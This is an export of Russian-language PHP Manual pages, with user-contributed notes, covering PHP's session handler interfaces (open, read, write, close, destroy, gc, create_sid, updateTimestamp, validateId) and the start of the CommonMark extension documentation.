  • PHP Manual
  • SessionHandlerInterface
  • Закрывает сессию

SessionHandlerInterface::close

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::close — Закрывает сессию

Описание

public SessionHandlerInterface::close(): bool

Закрывает текущую сессию. Эта функция автоматически выполняется при закрытии сессии или явно через session_write_close().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращаемое значение сессионного хранилища (обычно true в случае успешного выполнения, false, если возникла ошибка). Это значение возвращается обратно в PHP для внутренней обработки.

User Contributed Notes

svenr at selfhtml dot org 30-Apr-2013 09:29
This method should release the exclusive lock that was acquired by the open() method.

Note that this will effectively serialize parallel requests, which affects performance for a single user session.

Not locking the resource would on the other hand allow for race conditions if two or more parallel requests change the session data.


Уничтожает сессию

  • « SessionHandlerInterface::close
  • SessionHandlerInterface::gc »
  • PHP Manual
  • SessionHandlerInterface
  • Уничтожает сессию

SessionHandlerInterface::destroy

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::destroy — Уничтожает сессию

Описание

public SessionHandlerInterface::destroy(string $id): bool

Уничтожает сессию. Вызывается функциями session_regenerate_id() (с $destroy = true), session_destroy() и при неудачном завершении функции session_decode().

Список параметров

id

Идентификатор сессии уничтожается.

Возвращаемые значения

Возвращаемое значение сессионного хранилища (обычно true в случае успешного выполнения, false, если возникла ошибка). Это значение возвращается обратно в PHP для внутренней обработки.

User Contributed Notes

There are no user contributed notes for this page.


Очищает старые сессии

  • « SessionHandlerInterface::destroy
  • SessionHandlerInterface::open »
  • PHP Manual
  • SessionHandlerInterface
  • Очищает старые сессии

SessionHandlerInterface::gc

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::gc — Очищает старые сессии

Описание

public SessionHandlerInterface::gc(int $max_lifetime): int|false

Очищает сессии с истёкшим сроком жизни. Вызывается функцией session_start(), и основывается на опциях session.gc_divisor, session.gc_probability и session.gc_maxlifetime.

Список параметров

max_lifetime

Сессии, которые не обновлялись в течение max_lifetime секунд, будут удалены.

Возвращаемые значения

Возвращает количество удалённых сессий в случае успешного выполнения или false, если возникла ошибка. Обратите внимание, что это значение возвращается внутри PHP для обработки.

Список изменений

Версия | Описание
7.1.0 | До этой версии, функция возвращала true в случае успешного выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Инициализирует сессию

  • « SessionHandlerInterface::gc
  • SessionHandlerInterface::read »
  • PHP Manual
  • SessionHandlerInterface
  • Инициализирует сессию

SessionHandlerInterface::open

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::open — Инициализирует сессию

Описание

public SessionHandlerInterface::open(string $path, string $name): bool

Повторно инициализирует существующую сессию или создаёт новую. Вызывается когда сессия стартует или когда вызвана функция session_start().

Список параметров

path

Путь, по которому сохраняется/восстанавливается сессия.

name

Название сессии.

Возвращаемые значения

Возвращаемое значение сессионного хранилища (обычно true в случае успешного выполнения, false, если возникла ошибка). Это значение возвращается обратно в PHP для внутренней обработки.

Смотрите также

  • session_name() - Получить или установить имя текущей сессии
  • Опция конфигурации session.auto-start

User Contributed Notes

tony at marston-home dot demon dot co dot uk 11-Jun-2018 06:31
Note that once $sessionName has been used to provide a value for $sessionId from the cookie data it is totally redundant as all further reading and writing of the session data is controlled by $sessionId.

If, for any reason, it becomes necessary to identify the value for $sessionName which is associated with the current $sessionId then you should use the value that was passed on the open() method. Attempting to use a value from an alternative source could have unexpected side effects.
narf at devilix dot net 28-Aug-2014 03:49
The suggestion that you should free the lock as soon as possible is WRONG (and for some reason, I can't downvote it right now).

Releasing the lock before the write() call is as effective as not using locks at all. The whole point is that a concurrent read() HAS to be blocked until the session is closed, otherwise you'll have race conditions.

If you care about the performance aspect, you should take care to call session_write_close() as soon as possible instead.


Читает данные сессии

  • « SessionHandlerInterface::open
  • SessionHandlerInterface::write »
  • PHP Manual
  • SessionHandlerInterface
  • Читает данные сессии

SessionHandlerInterface::read

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::read — Читает данные сессии

Описание

public SessionHandlerInterface::read(string $id): string|false

Читает данные сессии из хранилища сессий и возвращает результат. Вызывается сразу после старта сессии или когда вызвана session_start(). Обратите внимание, что перед вызовом этого метода будет вызвана функция SessionHandlerInterface::open().

Этот метод вызывается PHP когда стартует сессия. Этот метод должен получить данные сессии из хранилища по указанному её идентификатору. Строка, возвращаемая этим методом, должна иметь тот же сериализованный формат, что и исходная, которая передавалась функции SessionHandlerInterface::write(). Если запись не найдена, возвращается false.

Данные, возвращаемые этим методом, будут расшифрованы внутри PHP, используя метод десериализации, указанный в session.serialize_handler. Полученные данные будут использованы для заполнения суперглобального массива $_SESSION.

Обратите внимание, что схема сериализации данных не такая, как в функции unserialize(), и получить доступ к данным можно с помощью функции session_decode().

Список параметров

id

Идентификатор сессии.

Возвращаемые значения

Возвращает закодированную строку прочитанных данных. Если ничего не прочитано, возвращается false. Обратите внимание, что это значение передаётся для обработки внутри PHP.

Смотрите также

  • INI-директива session.serialize_handler

User Contributed Notes

Anonymous 13-Jan-2023 01:22
It appears that, if this function returns false, it causes "session_start(): Failed to read session data: user" to be emitted in the error log. This also seems to have a cascading effect that causes the write() method not to be called.

So, returning false appears to only be for indicating an error state. To indicate that there is no existing session, but that it is okay to create one, it appears that returning an empty string is the way to go.


Записать данные сессии

  • « SessionHandlerInterface::read
  • SessionIdInterface »
  • PHP Manual
  • SessionHandlerInterface
  • Записать данные сессии

SessionHandlerInterface::write

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SessionHandlerInterface::write — Записать данные сессии

Описание

public SessionHandlerInterface::write(string $id, string $data): bool

Записывает данные сессии в хранилище сессий. Вызывается функцией session_write_close(), когда неудачно завершается функция session_register_shutdown() или во время нормального завершения работы. Внимание: SessionHandlerInterface::close() вызывается сразу же после этой функции.

PHP вызывает этот метод, когда сессия готова для сохранения и закрытия. Кодируются данные сессии из суперглобального массива $_SESSION в сериализованную строку и передаются вместе с идентификатором сессии данному методу для хранения. Используемый метод сериализации указан в опции session.serialize_handler.

Обратите внимание, что этот метод обычно вызывается PHP после закрытия буферов вывода, если явно не вызывается session_write_close().

Список параметров

id

Идентификатор сессии.

data

Закодированные данные сессии. Эти данные являются результатом внутреннего кодирования PHP суперглобального массива $_SESSION в сериализованную строку и передачи её в качестве этого параметра. Обратите внимание, что сессии используют альтернативный метод сериализации.

Возвращаемые значения

Возвращаемое значение сессионного хранилища (обычно true в случае успешного выполнения, false, если возникла ошибка). Это значение возвращается обратно в PHP для внутренней обработки.

Смотрите также

  • Директива конфигурации session.serialize_handler

User Contributed Notes

Aeric Poon 06-Apr-2019 05:37
Warning: session_write_close(): Session callback expects true/false return value in Unknown on line 0

I have returned TRUE in write() but the warning still persist. Then I also return TRUE in close() and the warning is gone.
jotremb at hotmail dot com 24-Jan-2017 04:46
It is important to note that if returning FALSE from this method, PHP will in turn output the following warning:

Warning: Unknown: Failed to write session data (user). Please verify that the current setting of session.save_path is correct (/var/lib/php/session) in Unknown on line 0.

This could cause minor inconveniences, however if the session should not be written as per design, then returning TRUE after handling (and not writing) the session will avoid further issues.

All in all, better return TRUE at all times except in cases of hard errors.
barkoczi dot roland at aercode dot com 15-May-2015 12:46
Note: this function won't be called in case $session_data is unchanged. In order to call this function every time when session is about closing, add $_SESSION["timestamp"] = time();


Интерфейс SessionIdInterface

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

Введение

SessionIdInterface - это интерфейс, который определяет необязательные методы для создания пользовательского обработчика сессии. Для предоставления пользовательского обработчика сессии функции session_set_save_handler(), используя её ООП реализацию, класс должен реализовывать этот интерфейс.

Обратите внимание, что callback-методы этого класса созданы для внутренних вызовов PHP и не предназначены для вызовов из вашего кода.

Обзор интерфейсов

interface SessionIdInterface {
/* Методы */
public create_sid(): string
}

Содержание

  • SessionIdInterface::create_sid — Создать идентификатор сессии

User Contributed Notes

ohcc at 163 dot com 31-May-2020 05:34
create_sid() is called when a new session id is needed.

Such as:

0. With PHP's  default session handler, when session.use_strict_mode is turned on, if a session id provided by the client doesn't exist on the server, create_sid() is called to generate a new session id.

1. When validateId() is provided and it returns false, create_sid() is called to generate a new session id.

2. When session_regenerate_id() is called, create_sid() is called to generate a new session id.


Создать идентификатор сессии

  • « SessionIdInterface
  • SessionUpdateTimestampHandlerInterface »
  • PHP Manual
  • SessionIdInterface
  • Создать идентификатор сессии

SessionIdInterface::create_sid

(PHP 5 >= 5.5.1, PHP 7, PHP 8)

SessionIdInterface::create_sid — Создать идентификатор сессии

Описание

public SessionIdInterface::create_sid(): string

Создаёт новый идентификатор сессии. Функция автоматически выполняется, когда необходимо создать новый идентификатор сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Новый идентификатор сессии. Обратите внимание, что это значение возвращается внутри PHP для обработки.

Смотрите также

  • SessionHandler::create_sid() - Возвращает новый идентификатор сессии

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс SessionUpdateTimestampHandlerInterface

(PHP 7, PHP 8)

Введение

SessionUpdateTimestampHandlerInterface - это интерфейс, который определяет дополнительные методы для создания пользовательского обработчика сессии. Для предоставления пользовательского обработчика сессии функции session_set_save_handler(), используя её ООП реализацию, класс должен реализовывать этот интерфейс.

Обратите внимание, что callback-методы этого класса созданы для внутренних вызовов PHP и не предназначены для вызовов из вашего кода.

Обзор классов

interface SessionUpdateTimestampHandlerInterface {
/* Методы */
public updateTimestamp(string $id, string $data): bool
public validateId(string $id): bool
}

Содержание

  • SessionUpdateTimestampHandlerInterface::updateTimestamp — Обновить метку времени
  • SessionUpdateTimestampHandlerInterface::validateId — Проверить идентификатор

User Contributed Notes

Anonymous 24-Nov-2019 11:02
There is a bit of documentation provided by Wu Xiancheng. See his comment in the SessionHandlerInterface section:
https://www.php.net/manual/en/class.sessionhandlerinterface.php#122032


Обновить метку времени

  • « SessionUpdateTimestampHandlerInterface
  • SessionUpdateTimestampHandlerInterface::validateId »
  • PHP Manual
  • SessionUpdateTimestampHandlerInterface
  • Обновить метку времени

SessionUpdateTimestampHandlerInterface::updateTimestamp

(PHP 7, PHP 8)

SessionUpdateTimestampHandlerInterface::updateTimestamp — Обновить метку времени

Описание

public SessionUpdateTimestampHandlerInterface::updateTimestamp(string $id, string $data): bool

Обновляет метку времени последнего изменения сеанса. Функция автоматически выполняется при обновлении сеанса.

Список параметров

id

Идентификатор сессии.

data

Данные сессии.

Возвращаемые значения

Возвращает true, если метка времени обновлена, false в противном случае. Обратите внимание, что это значение возвращается внутри PHP для обработки.

User Contributed Notes

tuncdan dot ozdemir dot peng at gmail dot com 08-Jan-2023 06:26
I am not sure why the data is needed for this method if it only updated the timestamp only.  Otherwise wouldn't his be the same the 'write' method? I think it is confusing and the manual unfortunately doesn't give much information about the whole session mechanics.
ohcc at 163 dot com 31-May-2020 04:24
When session.lazy_write is enabled, which is the default behaviour, session data will NOT be UPDATED if it remains unchanged, in this way the WRITE method of the session handler will not be called at all.

If your session handler storages session data into files, UpdateTimestamp is used to update the "last modified time" of the session file, if your session handler storages session data into a database, UpdateTimestamp is used to update the table field that storages the last modified time of the session registry.
ohcc at 163 dot com 23-Mar-2020 10:26
'validateId' is called after 'open' and before 'read' to validate the session id provided by the client, as 'open' -> 'validateId' -> 'read' -> 'write' -> 'close' are called in sequence.

If 'validateId' returns false, a new session id will be generated, the session cookie will also be updated afterwards.


Проверить идентификатор

  • « SessionUpdateTimestampHandlerInterface::updateTimestamp
  • Обработка текста »
  • PHP Manual
  • SessionUpdateTimestampHandlerInterface
  • Проверить идентификатор

SessionUpdateTimestampHandlerInterface::validateId

(PHP 7, PHP 8)

SessionUpdateTimestampHandlerInterface::validateId — Проверить идентификатор

Описание

public SessionUpdateTimestampHandlerInterface::validateId(string $id): bool

Проверяет данный идентификатор сессии. Идентификатор сессии действителен, если сессия с таким идентификатором уже существует. Функция автоматически выполняется при запуске сессии, указывается идентификатор сессии и включается session.use_strict_mode.

Список параметров

id

Идентификатор сессии.

Возвращаемые значения

Возвращает true для корректного идентификатора, false в противном случае. Обратите внимание, что это значение возвращается внутри PHP для обработки.

User Contributed Notes

ohcc at 163 dot com 31-May-2020 04:45
'validateId' is called after 'open' and before 'read' to validate the session id provided by the client, as 'open' -> 'validateId' -> 'read' -> 'write' -> 'close' are called in sequence.

If 'validateId' returns false, a new session id will be generated, the session cookie will also be updated afterwards.


Обработка текста

  • CommonMark
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • CommonMark\Node\Document — Document наследует CommonMark\Node
    • CommonMark\Node\Heading — Heading наследует CommonMark\Node
    • CommonMark\Node\Paragraph — Paragraph наследует CommonMark\Node
    • CommonMark\Node\BlockQuote — BlockQuote наследует CommonMark\Node
    • CommonMark\Node\BulletList — BulletList наследует CommonMark\Node
    • CommonMark\Node\OrderedList — OrderedList наследует CommonMark\Node
    • CommonMark\Node\Item — Item наследует CommonMark\Node
    • CommonMark\Node\Text — Text наследует CommonMark\Node
    • CommonMark\Node\Text\Strong — Strong наследует CommonMark\Node
    • CommonMark\Node\Text\Emphasis — Emphasis наследует CommonMark\Node
    • CommonMark\Node\ThematicBreak — ThematicBreak наследует CommonMark\Node
    • CommonMark\Node\SoftBreak — SoftBreak наследует CommonMark\Node
    • CommonMark\Node\LineBreak — LineBreak наследует CommonMark\Node
    • CommonMark\Node\Code — Code наследует CommonMark\Node
    • CommonMark\Node\CodeBlock — CodeBlock наследует CommonMark\Node
    • CommonMark\Node\HTMLBlock — HTMLBlock наследует CommonMark\Node
    • CommonMark\Node\HTMLInline — HTMLInline наследует CommonMark\Node
    • CommonMark\Node\Image — Image наследует CommonMark\Node
    • CommonMark\Node\Link — Link наследует CommonMark\Node
    • CommonMark\Node\CustomBlock — CustomBlock наследует CommonMark\Node
    • CommonMark\Node\CustomInline — CustomInline наследует CommonMark\Node
    • CommonMark\Node — Абстрактный класс CommonMark\Node
    • CommonMark\Interfaces\IVisitor — Интерфейс CommonMark\Interfaces\IVisitor
    • CommonMark\Interfaces\IVisitable — Интерфейс CommonMark\Interfaces\IVisitable
    • CommonMark\Parser — Класс CommonMark\Parser
    • CommonMark\CQL — Класс CommonMark\CQL
    • Функции CommonMark
  • Parle — Разбор и лексирование
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Сопоставление с шаблоном — Сопоставление с шаблоном Parle
    • Примеры
    • Parle\Lexer — Класс Parle\Lexer
    • Parle\RLexer — Класс Parle\RLexer
    • Parle\Parser — Класс Parle\Parser
    • Parle\RParser — Класс Parle\RParser
    • Parle\Stack — Класс Parle\Stack
    • Parle\Token — Класс Parle\Token
    • Parle\ErrorInfo — Класс Parle\ErrorInfo
    • Parle\LexerException — Класс Parle\LexerException
    • Parle\ParserException — Класс Parle\ParserException
  • PCRE — Perl-совместимые регулярные выражения
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Регулярные выражения PCRE
    • Функции PCRE
  • ssdeep — Нечёткое хеширование ssdeep
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции ssdeep
  • Строки
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции для работы со строками
    • Список изменений

User Contributed Notes

There are no user contributed notes for this page.


CommonMark

  • Введение
  • Установка и настройка
    • Требования
    • Установка
  • Предопределённые константы
  • CommonMark\Node\Document — Document наследует CommonMark\Node
  • CommonMark\Node\Heading — Heading наследует CommonMark\Node
    • CommonMark\Node\Heading::__construct — Конструктор класса Heading
  • CommonMark\Node\Paragraph — Paragraph наследует CommonMark\Node
  • CommonMark\Node\BlockQuote — BlockQuote наследует CommonMark\Node
  • CommonMark\Node\BulletList — BulletList наследует CommonMark\Node
    • CommonMark\Node\BulletList::__construct — Конструктор класса BulletList
  • CommonMark\Node\OrderedList — OrderedList наследует CommonMark\Node
    • CommonMark\Node\OrderedList::__construct — Конструктор класса OrderedList
  • CommonMark\Node\Item — Item наследует CommonMark\Node
  • CommonMark\Node\Text — Text наследует CommonMark\Node
    • CommonMark\Node\Text::__construct — Конструктор класса Text
  • CommonMark\Node\Text\Strong — Strong наследует CommonMark\Node
  • CommonMark\Node\Text\Emphasis — Emphasis наследует CommonMark\Node
  • CommonMark\Node\ThematicBreak — ThematicBreak наследует CommonMark\Node
  • CommonMark\Node\SoftBreak — SoftBreak наследует CommonMark\Node
  • CommonMark\Node\LineBreak — LineBreak наследует CommonMark\Node
  • CommonMark\Node\Code — Code наследует CommonMark\Node
  • CommonMark\Node\CodeBlock — CodeBlock наследует CommonMark\Node
    • CommonMark\Node\CodeBlock::__construct — Конструктор класса CodeBlock
  • CommonMark\Node\HTMLBlock — HTMLBlock наследует CommonMark\Node
  • CommonMark\Node\HTMLInline — HTMLInline наследует CommonMark\Node
  • CommonMark\Node\Image — Image наследует CommonMark\Node
    • CommonMark\Node\Image::__construct — Конструктор класса Image
  • CommonMark\Node\Link — Link наследует CommonMark\Node
    • CommonMark\Node\Link::__construct — Конструктор класса Link
  • CommonMark\Node\CustomBlock — CustomBlock наследует CommonMark\Node
  • CommonMark\Node\CustomInline — CustomInline наследует CommonMark\Node
  • CommonMark\Node — Абстрактный класс CommonMark\Node
    • CommonMark\Node::appendChild — Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::prependChild — Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::insertAfter — Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::insertBefore — Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::replace — Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::unlink — Манипуляции с AST (Абстрактное синтаксическое дерево)
    • CommonMark\Node::accept — Visitation
  • CommonMark\Interfaces\IVisitor — Интерфейс CommonMark\Interfaces\IVisitor
    • CommonMark\Interfaces\IVisitor::enter — Посещение
    • CommonMark\Interfaces\IVisitor::leave — Посещение
  • CommonMark\Interfaces\IVisitable — Интерфейс CommonMark\Interfaces\IVisitable
    • CommonMark\Interfaces\IVisitable::accept — Visitation
  • CommonMark\Parser — Класс CommonMark\Parser
    • CommonMark\Parser::__construct — Разбор
    • CommonMark\Parser::parse — Разбор
    • CommonMark\Parser::finish — Разбор
  • CommonMark\CQL — Класс CommonMark\CQL
    • CommonMark\CQL::__construct — Конструктор класса CQL
    • CommonMark\CQL::__invoke — Выполнение CQL
  • Функции CommonMark
    • CommonMark\Parse — Разбор
    • CommonMark\Render — Отображение
    • CommonMark\Render\HTML — Отображение
    • CommonMark\Render\Latex — Отображение
    • CommonMark\Render\Man — Отображение
    • CommonMark\Render\XML — Отображение

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль предоставляет доступ к эталонной реализации CommonMark, рационализированной версии синтаксиса Markdown со спецификацией.

Разбор:

Модуль CommonMark предоставляет простой API синтаксического анализа:

CommonMark\Parse(string $content, int $options = ?): CommonMark\Node

Отображение:

Модуль CommonMark предоставляет простой API отображения, который поддерживает несколько форматов:

CommonMark\Render(CommonMark\Node $node, int $options = ?, int $width = ?): string
CommonMark\Render\HTML(CommonMark\Node $node, int $options = ?): string
CommonMark\Render\XML(CommonMark\Node $node, int $options = ?): string
CommonMark\Render\Man(CommonMark\Node $node, int $options = ?, int $width = ?): string
CommonMark\Render\Latex(CommonMark\Node $node, int $options = ?, int $width = ?): string

AST:

Модуль CommonMark реализует перемещение для объектов CommonMark\Node:

public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void

CQL:

Модуль CommonMark предоставляет интерфейс для CQL, CommonMark Query Language:

public CommonMark\CQL::__construct(string $query)

User Contributed Notes

xuepeng dot gao dot ggle at gmail dot com 21-May-2023 05:58
in PHP 7.4.27

code:
<?php
    $markDownContent="### test_H3 \r\n
    #### test_H4";
    $c = CommonMark\Parse($markDownContent);
    var_dump($c);
    echo "The markdown syntax content is converted to html content: \r\n";
    $str = CommonMark\Render\HTML($c);
    echo $str;
?>

output :
   object(CommonMark\Node\Document)#1 (1) {
  ["children"]=>
  array(2) {
    [0]=>
    object(CommonMark\Node\Heading)#2 (1) {
      ["children"]=>
      array(1) {
        [0]=>
        object(CommonMark\Node\Text)#4 (1) {
          ["literal"]=>
          string(7) "test_H3"
        }
      }
    }
    [1]=>
    object(CommonMark\Node\Heading)#3 (1) {
      ["children"]=>
      array(1) {
        [0]=>
        object(CommonMark\Node\Text)#4 (1) {
          ["literal"]=>
          string(7) "test_H4"
        }
      }
    }
  }
}
The markdown syntax content is converted to html content:
 <h3>test_H3</h3>
<h4>test_H4</h4>


Требования

Для модуля CommonMark требуется ссылочная реализация (C) » cmark.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Релизы модуля CommonMark размещаются в PECL, а источник - на » github, самый простой путь для установки - с помощью PECL: » https://pecl.php.net/package/cmark.

Пользователи Windows могут загрузить готовые двоичные файлы релизов с веб-сайта » PECL.

Предостережение

Пользователи Windows должны сделать дополнительный шаг, добавив cmark.dll (распространяется вместе с релизами Windows) в свой PATH.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

CommonMark\Parser\Normal (int)
CommonMark\Parser\Normalize (int)
CommonMark\Parser\Smart (int)
CommonMark\Parser\ValidateUTF8 (int)
CommonMark\Render\HardBreaks (int)
CommonMark\Render\NoBreaks (int)
CommonMark\Render\Normal (int)
CommonMark\Render\Safe (int)
CommonMark\Render\SourcePos (int)

User Contributed Notes

There are no user contributed notes for this page.


Document наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\Document extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


Heading наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\Heading extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Свойства */
public int $level;
/* Конструктор */
public __construct()
public __construct(int $level)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Содержание

  • CommonMark\Node\Heading::__construct — Конструктор класса Heading

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Heading

  • « CommonMark\Node\Heading
  • CommonMark\Node\Paragraph »
  • PHP Manual
  • CommonMark\Node\Heading
  • Конструктор класса Heading

CommonMark\Node\Heading::__construct

(cmark >= 1.0.0)

CommonMark\Node\Heading::__construct — Конструктор класса Heading

Описание

public CommonMark\Node\Heading::__construct()
public CommonMark\Node\Heading::__construct(int $level)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Paragraph наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\Paragraph extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


BlockQuote наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\BlockQuote extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

User Contributed Notes

There are no user contributed notes for this page.


BulletList наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\BulletList extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Свойства */
public bool $tight;
public int $delimiter;
/* Конструктор */
public __construct()
public __construct(int $tight)
public __construct(int $tight, int $delimiter)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Содержание

  • CommonMark\Node\BulletList::__construct — Конструктор класса BulletList

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса BulletList

  • « CommonMark\Node\BulletList
  • CommonMark\Node\OrderedList »
  • PHP Manual
  • CommonMark\Node\BulletList
  • Конструктор класса BulletList

CommonMark\Node\BulletList::__construct

(cmark >= 1.0.0)

CommonMark\Node\BulletList::__construct — Конструктор класса BulletList

Описание

public CommonMark\Node\BulletList::__construct()
public CommonMark\Node\BulletList::__construct(int $tight)
public CommonMark\Node\BulletList::__construct(int $tight, int $delimiter)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


OrderedList наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

final class CommonMark\Node\OrderedList extends CommonMark\Node implements CommonMark\Interfaces\IVisitable, Traversable {
/* Наследуемые свойства */
public readonly ?Node $parent;
public readonly ?Node $previous;
public readonly ?Node $next;
public readonly ?Node $lastChild;
public readonly ?Node $firstChild;
public readonly int $startLine;
public readonly int $endLine;
public readonly int $startColumn;
public readonly int $endColumn;
/* Свойства */
public bool $tight;
public int $delimiter;
public int $start;
/* Конструктор */
public __construct()
public __construct(int $tight)
public __construct(int $tight, int $delimiter)
public __construct(int $tight, int $delimiter, int $start)
/* Наследуемые методы */
public CommonMark\Node::appendChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::prependChild(CommonMark\Node $child): CommonMark\Node
public CommonMark\Node::insertAfter(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::insertBefore(CommonMark\Node $sibling): CommonMark\Node
public CommonMark\Node::replace(CommonMark\Node $target): CommonMark\Node
public CommonMark\Node::unlink(): void
public CommonMark\Node::accept(CommonMark\Interfaces\IVisitor $visitor): void
}

Содержание

  • CommonMark\Node\OrderedList::__construct — Конструктор класса OrderedList

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса OrderedList

  • « CommonMark\Node\OrderedList
  • CommonMark\Node\Item »
  • PHP Manual
  • CommonMark\Node\OrderedList
  • Конструктор класса OrderedList

CommonMark\Node\OrderedList::__construct

(cmark >= 1.0.0)

CommonMark\Node\OrderedList::__construct — Конструктор класса OrderedList

Описание

public CommonMark\Node\OrderedList::__construct()
public CommonMark\Node\OrderedList::__construct(int $tight)
public CommonMark\Node\OrderedList::__construct(int $tight, int $delimiter)
public CommonMark\Node\OrderedList::__construct(int $tight, int $delimiter, int $start)

Внимание

Функцию пока не задокументировали; для знакомства доступен только список аргументов.

Список параметров

tight

delimiter

start

User Contributed Notes

There are no user contributed notes for this page.


Item наследует CommonMark\Node

(cmark >= 1.0.0)

Обзор классов

